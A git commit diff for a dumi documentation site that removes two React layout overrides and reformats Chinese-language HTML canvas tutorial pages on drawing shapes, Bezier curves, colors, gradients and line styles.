feat: 上传文章

This commit is contained in:
NICE CODE BY DEV 2024-01-15 22:23:10 +08:00
parent 4afd399a9f
commit 26cb0f4cf8
27 changed files with 24699 additions and 3118 deletions

View File

@ -1,12 +0,0 @@
// .dumi/theme/layout.tsx(本地主题) 或 src/layout.tsx(主题包)
import React from 'react';
import Layout from 'dumi-theme-default/es/layout';
export default ({ children, ...props }) => (
<Layout {...props}>
<>
<button></button>
{children}
</>
</Layout>
);

View File

@ -1,32 +0,0 @@
// .dumi/theme/layout.tsx(本地主题) 或 src/layout.tsx(主题包)
import React, { useEffect } from 'react';
import Layout from 'dumi-theme-default/es/layout';
export default ({ children, ...props }) => {
const { history } = props;
useEffect(() => {
const header = document.querySelector('.__dumi-default-navbar')
const cont = document.querySelector('.__dumi-default-layout-content')
const lo = document.querySelector('.__dumi-default-layout')
if (location.hash === '#/resume' && lo) {
cont.style.position = 'relative'
cont.style.top = '-64px'
header.style.display = 'none'
} else {
cont.style.position = 'relative'
cont.style.top = '0'
header.style.display = 'flex'
}
},[location.hash])
return (
<Layout {...props}>
<>
{children}
</>
</Layout>
)
};

View File

@ -5,6 +5,7 @@ nav:
group: group:
title: 💊 Q&A title: 💊 Q&A
order: 100 order: 100
path: /qa
--- ---
# 💊 Q&A # 💊 Q&A

View File

@ -5,6 +5,7 @@ nav:
group: group:
title: 💊 canvas title: 💊 canvas
order: 2 order: 2
path: /canvas
--- ---
## 基础入门 ## 基础入门
@ -15,7 +16,7 @@ group:
import React, { useRef, useEffect } from 'react'; import React, { useRef, useEffect } from 'react';
export default () => { export default () => {
const canvasRef = useRef() const canvasRef = useRef();
/** /**
* 绘制矩形 * 绘制矩形
@ -24,32 +25,32 @@ export default () => {
* clearRect(x, y, w, h) 清除指定区域 * clearRect(x, y, w, h) 清除指定区域
*/ */
function fillRect() { function fillRect() {
let canvas = canvasRef.current let canvas = canvasRef.current;
let ctx = canvas.getContext('2d') let ctx = canvas.getContext('2d');
// 实心矩形 // 实心矩形
ctx.fillStyle = 'red' ctx.fillStyle = 'red';
ctx.fillRect(25, 25, 50, 50) ctx.fillRect(25, 25, 50, 50);
// 空心矩形 // 空心矩形
ctx.lineWidth = 1 ctx.lineWidth = 1;
ctx.fillStyle = 'black' ctx.fillStyle = 'black';
ctx.strokeRect(75, 75, 50, 50) ctx.strokeRect(75, 75, 50, 50);
// 清除区域 // 清除区域
ctx.clearRect(50, 50, 50, 50) ctx.clearRect(50, 50, 50, 50);
} }
useEffect(() => { useEffect(() => {
fillRect() fillRect();
}, []) }, []);
return ( return (
<div> <div>
<canvas ref={canvasRef} width="200" height="200" /> <canvas ref={canvasRef} width="200" height="200" />
</div> </div>
) );
} };
``` ```
### 三角形 ### 三角形
@ -58,40 +59,40 @@ export default () => {
import React, { useRef, useEffect } from 'react'; import React, { useRef, useEffect } from 'react';
export default () => { export default () => {
const canvasRef = useRef() const canvasRef = useRef();
/** /**
* 绘制三角形 * 绘制三角形
*/ */
function tri() { function tri() {
let canvas = canvasRef.current let canvas = canvasRef.current;
let ctx = canvas.getContext('2d') let ctx = canvas.getContext('2d');
// 实心三角形 // 实心三角形
ctx.beginPath() ctx.beginPath();
ctx.moveTo(90, 25) ctx.moveTo(90, 25);
ctx.lineTo(25, 90) ctx.lineTo(25, 90);
ctx.lineTo(155, 90) ctx.lineTo(155, 90);
ctx.fill() ctx.fill();
ctx.beginPath() ctx.beginPath();
ctx.moveTo(90, 155) ctx.moveTo(90, 155);
ctx.lineTo(25, 90) ctx.lineTo(25, 90);
ctx.lineTo(155, 90) ctx.lineTo(155, 90);
ctx.closePath() ctx.closePath();
ctx.stroke() ctx.stroke();
} }
useEffect(() => { useEffect(() => {
tri() tri();
}, []) }, []);
return ( return (
<div> <div>
<canvas ref={canvasRef} width="200" height="200" /> <canvas ref={canvasRef} width="200" height="200" />
</div> </div>
) );
} };
``` ```
### 绘制圆弧 ### 绘制圆弧
@ -100,38 +101,38 @@ export default () => {
import React, { useRef, useEffect } from 'react'; import React, { useRef, useEffect } from 'react';
export default () => { export default () => {
const canvasRef = useRef() const canvasRef = useRef();
// 绘制圆弧 // 绘制圆弧
function drawArc() { function drawArc() {
let canvas = canvasRef.current let canvas = canvasRef.current;
let ctx = canvas.getContext('2d') let ctx = canvas.getContext('2d');
let x = 90, let x = 90,
y = 90, y = 90,
r = 30, r = 30,
startAngle = 0, startAngle = 0,
endAngle = (Math.PI / 180) * 180 endAngle = (Math.PI / 180) * 180;
ctx.beginPath() ctx.beginPath();
ctx.arc(x, y, r, startAngle, endAngle, false) ctx.arc(x, y, r, startAngle, endAngle, false);
ctx.fill() ctx.fill();
ctx.beginPath() ctx.beginPath();
ctx.arc(x, y, r, startAngle, endAngle, true) ctx.arc(x, y, r, startAngle, endAngle, true);
ctx.stroke() ctx.stroke();
} }
useEffect(() => { useEffect(() => {
drawArc() drawArc();
}, []) }, []);
return ( return (
<div> <div>
<canvas ref={canvasRef} width="200" height="200" /> <canvas ref={canvasRef} width="200" height="200" />
</div> </div>
) );
} };
``` ```
### 绘制贝塞尔曲线 ### 绘制贝塞尔曲线
@ -140,7 +141,7 @@ export default () => {
import React, { useRef, useEffect } from 'react'; import React, { useRef, useEffect } from 'react';
export default () => { export default () => {
const canvasRef = useRef() const canvasRef = useRef();
/** /**
* quadraticCurveTo(cp1x, cp1y, x, y) cp1 为控制点 * quadraticCurveTo(cp1x, cp1y, x, y) cp1 为控制点
@ -148,36 +149,35 @@ export default () => {
* x、y 为结束点 * x、y 为结束点
*/ */
function bezier() { function bezier() {
let canvas = canvasRef.current let canvas = canvasRef.current;
let ctx = canvas.getContext('2d') let ctx = canvas.getContext('2d');
// 二次贝塞尔曲线 // 二次贝塞尔曲线
ctx.beginPath() ctx.beginPath();
ctx.moveTo(30, 90) ctx.moveTo(30, 90);
ctx.quadraticCurveTo(15, 15, 90, 30) ctx.quadraticCurveTo(15, 15, 90, 30);
ctx.quadraticCurveTo(165, 15, 150, 90) ctx.quadraticCurveTo(165, 15, 150, 90);
ctx.quadraticCurveTo(148, 130, 70, 120) ctx.quadraticCurveTo(148, 130, 70, 120);
ctx.quadraticCurveTo(65, 140, 40, 140) ctx.quadraticCurveTo(65, 140, 40, 140);
ctx.quadraticCurveTo(65, 135, 55, 120) ctx.quadraticCurveTo(65, 135, 55, 120);
ctx.quadraticCurveTo(30, 115, 30, 90) ctx.quadraticCurveTo(30, 115, 30, 90);
ctx.stroke() ctx.stroke();
ctx.font = '18px bold 黑体'
ctx.fillStyle = 'black'
ctx.fillText('聊天框', 120, 160)
ctx.font = '18px bold 黑体';
ctx.fillStyle = 'black';
ctx.fillText('聊天框', 120, 160);
} }
useEffect(() => { useEffect(() => {
bezier() bezier();
}, []) }, []);
return ( return (
<div> <div>
<canvas ref={canvasRef} width="200" height="200" /> <canvas ref={canvasRef} width="200" height="200" />
</div> </div>
) );
} };
``` ```
### 绘制三次贝塞尔曲线 ### 绘制三次贝塞尔曲线
@ -186,43 +186,43 @@ export default () => {
import React, { useRef, useEffect } from 'react'; import React, { useRef, useEffect } from 'react';
export default () => { export default () => {
const canvasRef = useRef() const canvasRef = useRef();
/** /**
* 绘制三次贝塞尔曲线 * 绘制三次贝塞尔曲线
* *
*/ */
function beziers() { function beziers() {
let canvas = canvasRef.current let canvas = canvasRef.current;
let ctx = canvas.getContext('2d') let ctx = canvas.getContext('2d');
// 三次贝塞尔曲线 // 三次贝塞尔曲线
ctx.beginPath() ctx.beginPath();
ctx.moveTo(90, 40) ctx.moveTo(90, 40);
ctx.bezierCurveTo(90, 36, 70, 25, 50, 25) ctx.bezierCurveTo(90, 36, 70, 25, 50, 25);
ctx.bezierCurveTo(20, 25, 20, 62.5, 20, 62.5) ctx.bezierCurveTo(20, 25, 20, 62.5, 20, 62.5);
ctx.bezierCurveTo(20, 80, 40, 120, 90, 140) ctx.bezierCurveTo(20, 80, 40, 120, 90, 140);
ctx.bezierCurveTo(110, 135, 155, 110, 160, 62.5) ctx.bezierCurveTo(110, 135, 155, 110, 160, 62.5);
ctx.bezierCurveTo(160, 22, 140, 25, 130, 25) ctx.bezierCurveTo(160, 22, 140, 25, 130, 25);
ctx.bezierCurveTo(120, 25, 110, 30, 90, 40) ctx.bezierCurveTo(120, 25, 110, 30, 90, 40);
ctx.fillStyle = 'red' ctx.fillStyle = 'red';
ctx.fill() ctx.fill();
ctx.font = '18px bold 黑体' ctx.font = '18px bold 黑体';
ctx.fillStyle = 'black' ctx.fillStyle = 'black';
ctx.fillText('爱心', 120, 160) ctx.fillText('爱心', 120, 160);
} }
useEffect(() => { useEffect(() => {
beziers() beziers();
}, []) }, []);
return ( return (
<div> <div>
<canvas ref={canvasRef} width="200" height="200" /> <canvas ref={canvasRef} width="200" height="200" />
</div> </div>
) );
} };
``` ```
### 绘制笑脸 ### 绘制笑脸
@ -231,42 +231,41 @@ export default () => {
import React, { useRef, useEffect } from 'react'; import React, { useRef, useEffect } from 'react';
export default () => { export default () => {
const canvasRef = useRef() const canvasRef = useRef();
/** /**
* 绘制笑脸 * 绘制笑脸
* *
*/ */
function fillSmile() { function fillSmile() {
let canvas = canvasRef.current let canvas = canvasRef.current;
let ctx = canvas.getContext('2d') let ctx = canvas.getContext('2d');
ctx.beginPath() ctx.beginPath();
ctx.arc(75, 75, 50, 0, Math.PI * 2, true) ctx.arc(75, 75, 50, 0, Math.PI * 2, true);
ctx.moveTo(110, 75) ctx.moveTo(110, 75);
ctx.arc(75, 75, 35, 0, Math.PI, false) ctx.arc(75, 75, 35, 0, Math.PI, false);
ctx.moveTo(65, 65) ctx.moveTo(65, 65);
ctx.arc(60, 65, 5, 0, Math.PI * 2, true) ctx.arc(60, 65, 5, 0, Math.PI * 2, true);
ctx.moveTo(95, 65) ctx.moveTo(95, 65);
ctx.arc(90, 65, 5, 0, Math.PI * 2, true) ctx.arc(90, 65, 5, 0, Math.PI * 2, true);
ctx.stroke() ctx.stroke();
ctx.font = '18px bold 黑体' ctx.font = '18px bold 黑体';
ctx.fillStyle = 'black' ctx.fillStyle = 'black';
ctx.fillText('笑脸', 120, 160) ctx.fillText('笑脸', 120, 160);
} }
useEffect(() => { useEffect(() => {
fillSmile() fillSmile();
}, []) }, []);
return ( return (
<div> <div>
<canvas ref={canvasRef} width="200" height="200" /> <canvas ref={canvasRef} width="200" height="200" />
</div> </div>
) );
} };
``` ```
### 吃豆人 ### 吃豆人
@ -275,99 +274,99 @@ export default () => {
import React, { useRef, useEffect } from 'react'; import React, { useRef, useEffect } from 'react';
export default () => { export default () => {
const canvasRef = useRef() const canvasRef = useRef();
/** /**
* 吃豆人 * 吃豆人
* *
*/ */
function bean() { function bean() {
let canvas = canvasRef.current let canvas = canvasRef.current;
let ctx = canvas.getContext('2d') let ctx = canvas.getContext('2d');
// 外墙 // 外墙
_roundedRect(ctx, 12, 12, 160, 160, 15) _roundedRect(ctx, 12, 12, 160, 160, 15);
_roundedRect(ctx, 18, 18, 148, 148, 9) _roundedRect(ctx, 18, 18, 148, 148, 9);
// 内墙 // 内墙
_roundedRect(ctx, 45, 50, 45, 30, 6) _roundedRect(ctx, 45, 50, 45, 30, 6);
_roundedRect(ctx, 115, 50, 45, 30, 6) _roundedRect(ctx, 115, 50, 45, 30, 6);
_roundedRect(ctx, 115, 110, 45, 50, 6) _roundedRect(ctx, 115, 110, 45, 50, 6);
_roundedRect(ctx, 45, 110, 45, 25, 6) _roundedRect(ctx, 45, 110, 45, 25, 6);
// 绘制吃豆人 // 绘制吃豆人
ctx.beginPath() ctx.beginPath();
ctx.arc(35, 35, 10, Math.PI / 7, -Math.PI / 7, false) ctx.arc(35, 35, 10, Math.PI / 7, -Math.PI / 7, false);
ctx.lineTo(31, 37) ctx.lineTo(31, 37);
ctx.fill() ctx.fill();
// 绘制魔鬼 // 绘制魔鬼
ctx.beginPath() ctx.beginPath();
ctx.moveTo(83, 116) ctx.moveTo(83, 116);
ctx.lineTo(83, 102) ctx.lineTo(83, 102);
ctx.bezierCurveTo(83, 94, 89, 88, 97, 88) ctx.bezierCurveTo(83, 94, 89, 88, 97, 88);
ctx.bezierCurveTo(105, 88, 111, 94, 111, 102) ctx.bezierCurveTo(105, 88, 111, 94, 111, 102);
ctx.lineTo(111, 116) ctx.lineTo(111, 116);
ctx.lineTo(106.3, 111.3) ctx.lineTo(106.3, 111.3);
ctx.lineTo(97.3, 111) ctx.lineTo(97.3, 111);
ctx.lineTo(92, 116) ctx.lineTo(92, 116);
ctx.lineTo(87, 111) ctx.lineTo(87, 111);
ctx.lineTo(83, 116) ctx.lineTo(83, 116);
ctx.fill() ctx.fill();
// 绘制小点 // 绘制小点
for (let i = 0; i < 7; i++) { for (let i = 0; i < 7; i++) {
ctx.fillRect(52 + i * 16, 35, 4, 4) ctx.fillRect(52 + i * 16, 35, 4, 4);
} }
// 绘制小点 // 绘制小点
for (let i = 0; i < 7; i++) { for (let i = 0; i < 7; i++) {
ctx.fillRect(28, 52 + i * 16, 4, 4) ctx.fillRect(28, 52 + i * 16, 4, 4);
} }
// 绘制小点 // 绘制小点
for (let i = 0; i < 7; i++) { for (let i = 0; i < 7; i++) {
ctx.fillRect(100, 52 + i * 16, 4, 4) ctx.fillRect(100, 52 + i * 16, 4, 4);
} }
// 绘制小点 // 绘制小点
for (let i = 0; i < 8; i++) { for (let i = 0; i < 8; i++) {
ctx.fillRect(44 + i * 16, 92, 4, 4) ctx.fillRect(44 + i * 16, 92, 4, 4);
} }
// 绘制小点 // 绘制小点
for (let i = 0; i < 3; i++) { for (let i = 0; i < 3; i++) {
ctx.fillRect(44 + i * 16, 148, 4, 4) ctx.fillRect(44 + i * 16, 148, 4, 4);
} }
ctx.fillStyle = 'white' ctx.fillStyle = 'white';
ctx.beginPath() ctx.beginPath();
ctx.moveTo(91, 96) ctx.moveTo(91, 96);
ctx.bezierCurveTo(88, 96, 87, 99, 87, 101) ctx.bezierCurveTo(88, 96, 87, 99, 87, 101);
ctx.bezierCurveTo(87, 103, 88, 106, 91, 106) ctx.bezierCurveTo(87, 103, 88, 106, 91, 106);
ctx.bezierCurveTo(94, 106, 95, 103, 95, 101) ctx.bezierCurveTo(94, 106, 95, 103, 95, 101);
ctx.bezierCurveTo(95, 99, 94, 96, 91, 96) ctx.bezierCurveTo(95, 99, 94, 96, 91, 96);
ctx.moveTo(103, 96) ctx.moveTo(103, 96);
ctx.bezierCurveTo(100, 96, 99, 99, 99, 101) ctx.bezierCurveTo(100, 96, 99, 99, 99, 101);
ctx.bezierCurveTo(99, 103, 100, 106, 103, 106) ctx.bezierCurveTo(99, 103, 100, 106, 103, 106);
ctx.bezierCurveTo(106, 106, 107, 103, 107, 101) ctx.bezierCurveTo(106, 106, 107, 103, 107, 101);
ctx.bezierCurveTo(107, 99, 106, 96, 103, 96) ctx.bezierCurveTo(107, 99, 106, 96, 103, 96);
ctx.fill() ctx.fill();
// 右眼 // 右眼
ctx.fillStyle = 'blue' ctx.fillStyle = 'blue';
ctx.beginPath() ctx.beginPath();
ctx.arc(101, 102, 2, 0, Math.PI * 2, true) ctx.arc(101, 102, 2, 0, Math.PI * 2, true);
ctx.fill() ctx.fill();
// 左眼 // 左眼
ctx.beginPath() ctx.beginPath();
ctx.arc(89, 102, 2, 0, Math.PI * 2, true) ctx.arc(89, 102, 2, 0, Math.PI * 2, true);
ctx.fill() ctx.fill();
ctx.font = '18px bold 黑体' ctx.font = '18px bold 黑体';
ctx.fillStyle = 'black' ctx.fillStyle = 'black';
ctx.fillText('吃豆人', 180, 180) ctx.fillText('吃豆人', 180, 180);
ctx.clearRect(150, 0, 100, 200) ctx.clearRect(150, 0, 100, 200);
/** /**
* 绘制圆角矩形的函数 * 绘制圆角矩形的函数
@ -394,23 +393,18 @@ export default () => {
} }
} }
useEffect(() => { useEffect(() => {
bean() bean();
}, []) }, []);
return ( return (
<div> <div>
<canvas ref={canvasRef} width="200" height="200" /> <canvas ref={canvasRef} width="200" height="200" />
</div> </div>
) );
} };
``` ```
```js ```js
``` ```

View File

@ -5,6 +5,7 @@ nav:
group: group:
title: 💊 canvas title: 💊 canvas
order: 2 order: 2
path: /canvas
--- ---
## 颜色 ## 颜色
@ -13,123 +14,127 @@ group:
import React, { useRef, useEffect } from 'react'; import React, { useRef, useEffect } from 'react';
export default () => { export default () => {
const canvasRef = useRef() const canvasRef = useRef();
const canvasRef2 = useRef() const canvasRef2 = useRef();
const canvasRef3 = useRef() const canvasRef3 = useRef();
const canvasRef4 = useRef() const canvasRef4 = useRef();
const canvasRef5 = useRef() const canvasRef5 = useRef();
const canvasRef6 = useRef() const canvasRef6 = useRef();
const canvasRef7 = useRef() const canvasRef7 = useRef();
const canvasRef8 = useRef() const canvasRef8 = useRef();
const canvasRef9 = useRef() const canvasRef9 = useRef();
const canvasRef10 = useRef() const canvasRef10 = useRef();
const canvasRef11 = useRef() const canvasRef11 = useRef();
const canvasRef12 = useRef() const canvasRef12 = useRef();
function demo1() { function demo1() {
let canvas = canvasRef.current let canvas = canvasRef.current;
let ctx = canvas.getContext('2d') let ctx = canvas.getContext('2d');
for (let i = 0; i < 6; i++) { for (let i = 0; i < 6; i++) {
for (let j = 0; j < 6; j++) { for (let j = 0; j < 6; j++) {
ctx.fillStyle = `rgb(${Math.floor(255 - 42.5 * i)}, ${Math.floor(255 - 42.5 * j)}, 0)` ctx.fillStyle = `rgb(${Math.floor(255 - 42.5 * i)}, ${Math.floor(
ctx.fillRect(j * 25, i * 25, 25, 25) 255 - 42.5 * j,
)}, 0)`;
ctx.fillRect(j * 25, i * 25, 25, 25);
} }
} }
} }
function demo2() { function demo2() {
let canvas = canvasRef2.current let canvas = canvasRef2.current;
let ctx = canvas.getContext('2d') let ctx = canvas.getContext('2d');
for (let i = 0; i < 6; i++) { for (let i = 0; i < 6; i++) {
for (let j = 0; j < 6; j++) { for (let j = 0; j < 6; j++) {
ctx.strokeStyle = `rgb(${Math.floor(255 - 42.5 * i)}, ${Math.floor(255 - 42.5 * j)}, 0)` ctx.strokeStyle = `rgb(${Math.floor(255 - 42.5 * i)}, ${Math.floor(
ctx.beginPath() 255 - 42.5 * j,
ctx.arc(12.5 + j * 25, 12.5 + i * 25, 10, 0, Math.PI * 2, true) )}, 0)`;
ctx.stroke() ctx.beginPath();
ctx.arc(12.5 + j * 25, 12.5 + i * 25, 10, 0, Math.PI * 2, true);
ctx.stroke();
} }
} }
} }
function demo3() { function demo3() {
let canvas = canvasRef3.current let canvas = canvasRef3.current;
let ctx = canvas.getContext('2d') let ctx = canvas.getContext('2d');
ctx.fillStyle = '#fd0' ctx.fillStyle = '#fd0';
ctx.fillRect(0, 0, 75,75) ctx.fillRect(0, 0, 75, 75);
ctx.fillStyle = '#6c0' ctx.fillStyle = '#6c0';
ctx.fillRect(75, 0, 75, 75) ctx.fillRect(75, 0, 75, 75);
ctx.fillStyle = '#09f' ctx.fillStyle = '#09f';
ctx.fillRect(0, 75, 75, 75) ctx.fillRect(0, 75, 75, 75);
ctx.fillStyle = '#f30' ctx.fillStyle = '#f30';
ctx.fillRect(75, 75, 75, 75) ctx.fillRect(75, 75, 75, 75);
ctx.fillStyle = '#fff' ctx.fillStyle = '#fff';
ctx.globalAlpha = 0.2 ctx.globalAlpha = 0.2;
for (let i = 0; i < 6; i++) { for (let i = 0; i < 6; i++) {
ctx.beginPath() ctx.beginPath();
ctx.arc(75, 75, 10 + 10 * i, 0, Math.PI * 2, true) ctx.arc(75, 75, 10 + 10 * i, 0, Math.PI * 2, true);
ctx.fill() ctx.fill();
} }
} }
function demo4() { function demo4() {
let canvas = canvasRef4.current let canvas = canvasRef4.current;
let ctx = canvas.getContext('2d') let ctx = canvas.getContext('2d');
ctx.fillStyle = 'rgb(255, 221, 0)' ctx.fillStyle = 'rgb(255, 221, 0)';
ctx.fillRect(0, 0, 200, 50) ctx.fillRect(0, 0, 200, 50);
ctx.fillStyle = 'rgb(102, 204, 0)' ctx.fillStyle = 'rgb(102, 204, 0)';
ctx.fillRect(0, 50, 200, 50) ctx.fillRect(0, 50, 200, 50);
ctx.fillStyle = 'rgb(0, 153, 255)' ctx.fillStyle = 'rgb(0, 153, 255)';
ctx.fillRect(0, 100, 200, 50) ctx.fillRect(0, 100, 200, 50);
ctx.fillStyle = 'rgb(255, 51, 0)' ctx.fillStyle = 'rgb(255, 51, 0)';
ctx.fillRect(0, 150, 200, 50) ctx.fillRect(0, 150, 200, 50);
for (let i = 0; i < 10; i++) { for (let i = 0; i < 10; i++) {
ctx.fillStyle = `rgba(255, 255, 255, ${(i + 1) / 10})` ctx.fillStyle = `rgba(255, 255, 255, ${(i + 1) / 10})`;
for (let j = 0; j < 4; j++) { for (let j = 0; j < 4; j++) {
ctx.fillRect(10 + 18 * i, 5 + j * 50, 18, 40) ctx.fillRect(10 + 18 * i, 5 + j * 50, 18, 40);
} }
} }
} }
function demo5() { function demo5() {
let canvas = canvasRef5.current let canvas = canvasRef5.current;
let ctx = canvas.getContext('2d') let ctx = canvas.getContext('2d');
for (let i = 0; i < 10; i++) { for (let i = 0; i < 10; i++) {
ctx.lineWidth = 1 + i ctx.lineWidth = 1 + i;
ctx.beginPath() ctx.beginPath();
ctx.moveTo(5.5 + i * 14, 5.5) ctx.moveTo(5.5 + i * 14, 5.5);
ctx.lineTo(5.5 + i * 14, 140.5) ctx.lineTo(5.5 + i * 14, 140.5);
ctx.stroke() ctx.stroke();
} }
} }
function demo6() { function demo6() {
let canvas = canvasRef6.current let canvas = canvasRef6.current;
let ctx = canvas.getContext('2d') let ctx = canvas.getContext('2d');
let lineCap = ['butt', 'round', 'square'] let lineCap = ['butt', 'round', 'square'];
ctx.strokeStyle = '#09f' ctx.strokeStyle = '#09f';
ctx.beginPath() ctx.beginPath();
ctx.moveTo(10, 20) ctx.moveTo(10, 20);
ctx.lineTo(140, 20) ctx.lineTo(140, 20);
ctx.moveTo(10, 130) ctx.moveTo(10, 130);
ctx.lineTo(140, 130) ctx.lineTo(140, 130);
ctx.stroke() ctx.stroke();
ctx.strokeStyle = 'black' ctx.strokeStyle = 'black';
for (let i = 0; i < lineCap.length; i++) { for (let i = 0; i < lineCap.length; i++) {
ctx.lineWidth = 15 ctx.lineWidth = 15;
ctx.lineCap = lineCap[i] ctx.lineCap = lineCap[i];
ctx.beginPath() ctx.beginPath();
ctx.moveTo(25 + i * 50, 20) ctx.moveTo(25 + i * 50, 20);
ctx.lineTo(25 + i * 50, 130) ctx.lineTo(25 + i * 50, 130);
ctx.stroke() ctx.stroke();
} }
} }
@ -138,20 +143,20 @@ export default () => {
* bevel 不让线段超过最大 * bevel 不让线段超过最大
*/ */
function demo7() { function demo7() {
let canvas = canvasRef7.current let canvas = canvasRef7.current;
let ctx = canvas.getContext('2d') let ctx = canvas.getContext('2d');
let lineJoin = ['round', 'bevel', 'miter'] let lineJoin = ['round', 'bevel', 'miter'];
ctx.lineWidth = 10 ctx.lineWidth = 10;
for (let i = 0; i < lineJoin.length; i++) { for (let i = 0; i < lineJoin.length; i++) {
ctx.lineJoin = lineJoin[i] ctx.lineJoin = lineJoin[i];
ctx.beginPath() ctx.beginPath();
ctx.moveTo(-5, 5 + i * 40) ctx.moveTo(-5, 5 + i * 40);
ctx.lineTo(35, 45 + i * 40) ctx.lineTo(35, 45 + i * 40);
ctx.lineTo(75, 5 + i * 40) ctx.lineTo(75, 5 + i * 40);
ctx.lineTo(115, 45 + i * 40) ctx.lineTo(115, 45 + i * 40);
ctx.lineTo(155, 5 + i * 40) ctx.lineTo(155, 5 + i * 40);
ctx.stroke() ctx.stroke();
} }
} }
@ -160,119 +165,119 @@ export default () => {
* lineDashOffset 偏移量 * lineDashOffset 偏移量
*/ */
function demo8() { function demo8() {
let canvas = canvasRef8.current let canvas = canvasRef8.current;
let ctx = canvas.getContext('2d') let ctx = canvas.getContext('2d');
let offset = 0 let offset = 0;
function march() { function march() {
offset++ offset++;
if (offset > 16) { if (offset > 16) {
offset = 0 offset = 0;
} }
_draw() _draw();
setTimeout(march, 50) setTimeout(march, 50);
} }
function _draw() { function _draw() {
ctx.clearRect(0, 0, canvas.width, canvas.height) ctx.clearRect(0, 0, canvas.width, canvas.height);
ctx.lineWidth = 2 ctx.lineWidth = 2;
ctx.setLineDash([4, 2]) ctx.setLineDash([4, 2]);
ctx.lineDashOffset = -offset ctx.lineDashOffset = -offset;
ctx.strokeRect(10, 10, 100, 100) ctx.strokeRect(10, 10, 100, 100);
} }
march() march();
} }
function demo9() { function demo9() {
let canvas = canvasRef9.current let canvas = canvasRef9.current;
let ctx = canvas.getContext('2d') let ctx = canvas.getContext('2d');
let lineargradient = ctx.createLinearGradient(0, 0, 0, 150) let lineargradient = ctx.createLinearGradient(0, 0, 0, 150);
lineargradient.addColorStop(0, '#00abeb') lineargradient.addColorStop(0, '#00abeb');
lineargradient.addColorStop(0.5, '#fff') lineargradient.addColorStop(0.5, '#fff');
lineargradient.addColorStop(0.5, '#26c000') lineargradient.addColorStop(0.5, '#26c000');
lineargradient.addColorStop(1, '#fff') lineargradient.addColorStop(1, '#fff');
let radialgradient = ctx.createLinearGradient(0, 50, 0, 95) let radialgradient = ctx.createLinearGradient(0, 50, 0, 95);
radialgradient.addColorStop(0.5, '#000') radialgradient.addColorStop(0.5, '#000');
radialgradient.addColorStop(1, 'rgba(0, 0, 0, 0') radialgradient.addColorStop(1, 'rgba(0, 0, 0, 0');
ctx.fillStyle = lineargradient ctx.fillStyle = lineargradient;
ctx.strokeStyle = radialgradient ctx.strokeStyle = radialgradient;
ctx.fillRect(10, 10, 130, 130) ctx.fillRect(10, 10, 130, 130);
ctx.strokeRect(50, 50, 50, 50) ctx.strokeRect(50, 50, 50, 50);
} }
function demo10() { function demo10() {
let canvas = canvasRef10.current let canvas = canvasRef10.current;
let ctx = canvas.getContext('2d') let ctx = canvas.getContext('2d');
let radgrad = ctx.createRadialGradient(45, 50, 10, 52, 50, 30) let radgrad = ctx.createRadialGradient(45, 50, 10, 52, 50, 30);
radgrad.addColorStop(0, '#a7d30c') radgrad.addColorStop(0, '#a7d30c');
radgrad.addColorStop(0.9, '#019f62') radgrad.addColorStop(0.9, '#019f62');
radgrad.addColorStop(1, 'rgba(1, 159, 98, 0') radgrad.addColorStop(1, 'rgba(1, 159, 98, 0');
let radgrad2 = ctx.createRadialGradient(105, 105, 20, 112, 120, 50) let radgrad2 = ctx.createRadialGradient(105, 105, 20, 112, 120, 50);
radgrad2.addColorStop(0, '#fff') radgrad2.addColorStop(0, '#fff');
radgrad2.addColorStop(0.75, '#ff0188') radgrad2.addColorStop(0.75, '#ff0188');
radgrad2.addColorStop(1, 'rgba(255, 1, 136, 0)') radgrad2.addColorStop(1, 'rgba(255, 1, 136, 0)');
let radgrad3 = ctx.createRadialGradient(0, 150, 50, 0, 140, 90) let radgrad3 = ctx.createRadialGradient(0, 150, 50, 0, 140, 90);
radgrad3.addColorStop(0, '#f4f201') radgrad3.addColorStop(0, '#f4f201');
radgrad3.addColorStop(0.8, '#00B5E2') radgrad3.addColorStop(0.8, '#00B5E2');
radgrad3.addColorStop(1, '#00B5E2') radgrad3.addColorStop(1, '#00B5E2');
ctx.fillStyle = radgrad3 ctx.fillStyle = radgrad3;
ctx.fillRect(0, 0, 150, 150) ctx.fillRect(0, 0, 150, 150);
ctx.fillStyle = radgrad2 ctx.fillStyle = radgrad2;
ctx.fillRect(0, 0, 150, 150) ctx.fillRect(0, 0, 150, 150);
ctx.fillStyle = radgrad ctx.fillStyle = radgrad;
ctx.fillRect(0, 0, 150, 150) ctx.fillRect(0, 0, 150, 150);
} }
function demo11() { function demo11() {
let canvas = canvasRef11.current let canvas = canvasRef11.current;
let ctx = canvas.getContext('2d') let ctx = canvas.getContext('2d');
// 创建 img作为图案 // 创建 img作为图案
let img = new Image() let img = new Image();
img.src = 'https://mdn.mozillademos.org/files/222/Canvas_createpattern.png' img.src = 'https://mdn.mozillademos.org/files/222/Canvas_createpattern.png';
img.onload = function () { img.onload = function () {
let ptrn = ctx.createPattern(img, 'repeat') let ptrn = ctx.createPattern(img, 'repeat');
ctx.fillStyle = ptrn ctx.fillStyle = ptrn;
ctx.fillRect(0, 0, 150, 150) ctx.fillRect(0, 0, 150, 150);
} };
} }
function demo12() { function demo12() {
let canvas = canvasRef12.current let canvas = canvasRef12.current;
let ctx = canvas.getContext('2d') let ctx = canvas.getContext('2d');
ctx.beginPath() ctx.beginPath();
ctx.fillStyle = '#aaa' ctx.fillStyle = '#aaa';
ctx.arc(50, 50, 30, 0, Math.PI * 2, true) ctx.arc(50, 50, 30, 0, Math.PI * 2, true);
ctx.arc(50, 50, 15, 0, Math.PI * 2, true) ctx.arc(50, 50, 15, 0, Math.PI * 2, true);
ctx.fill('evenodd') ctx.fill('evenodd');
} }
useEffect(() => { useEffect(() => {
demo1() demo1();
demo2() demo2();
demo3() demo3();
demo4() demo4();
demo5() demo5();
demo6() demo6();
demo7() demo7();
demo8() demo8();
demo9() demo9();
demo10() demo10();
demo11() demo11();
demo12() demo12();
}, []) }, []);
return ( return (
<div> <div>
@ -289,8 +294,8 @@ export default () => {
<canvas ref={canvasRef11} width="200" height="200" /> <canvas ref={canvasRef11} width="200" height="200" />
<canvas ref={canvasRef12} width="200" height="200" /> <canvas ref={canvasRef12} width="200" height="200" />
</div> </div>
) );
} };
``` ```
```js ```js

View File

@ -5,6 +5,7 @@ nav:
group: group:
title: 💊 canvas title: 💊 canvas
order: 4 order: 4
path: /canvas
--- ---
## 文字 ## 文字
@ -13,48 +14,48 @@ group:
import React, { useRef, useEffect } from 'react'; import React, { useRef, useEffect } from 'react';
export default () => { export default () => {
const canvasRef = useRef() const canvasRef = useRef();
const canvasRef2 = useRef() const canvasRef2 = useRef();
